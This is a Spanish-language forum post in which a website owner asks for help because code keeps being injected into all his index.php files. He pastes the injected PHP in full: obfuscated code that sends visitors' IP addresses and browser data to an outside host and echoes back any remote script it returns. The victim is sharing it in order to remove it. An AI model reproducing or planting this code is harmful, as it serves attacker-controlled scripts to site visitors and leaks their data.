Ver Mensaje Individual
  #1 (permalink)  
Antiguo 09/12/2014, 12:24
Juan_Carlos_Canta
 
Fecha de Ingreso: diciembre-2014
Mensajes: 4
Antigüedad: 10 años, 2 meses
Puntos: 0
me inyectan código en todos los archivos index.php

Hola a todos/as,

Tengo un problema que no soy capaz de solucionar y es que me inyectan un código en todos los index.php (cuando esto sucede se aparece el código en todos los index).

he cambiado incluso los permisos al archivo CMOD 400 (solo lectura), pero de vez en cuando me inyectan el puñetero código.

El código es el siguiente (copio-pego):
=========================
<?php
#2eea78#
error_reporting(0); @ini_set('display_errors',0); $wp_wjag105 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_wjag105) && !preg_match ('/bot/i', $wp_wjag105))){
$wp_wjag09105="http://"."error"."class".".com/class"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wjag105);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wjag09105); curl_setopt ($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_105wjag = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_105wjag = @file_get_contents($wp_wjag09105);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_105wjag=@stream_get_contents(@fopen($wp_wjag0 9105, "r"));}}
if (substr($wp_105wjag,1,3) === 'scr'){ echo $wp_105wjag; }
#/2eea78#
?>
=========================

Si alguien sabe de alguna solución o le ha pasado algo similar y lo ha solucionado, le agradezco de antemano la ayuda.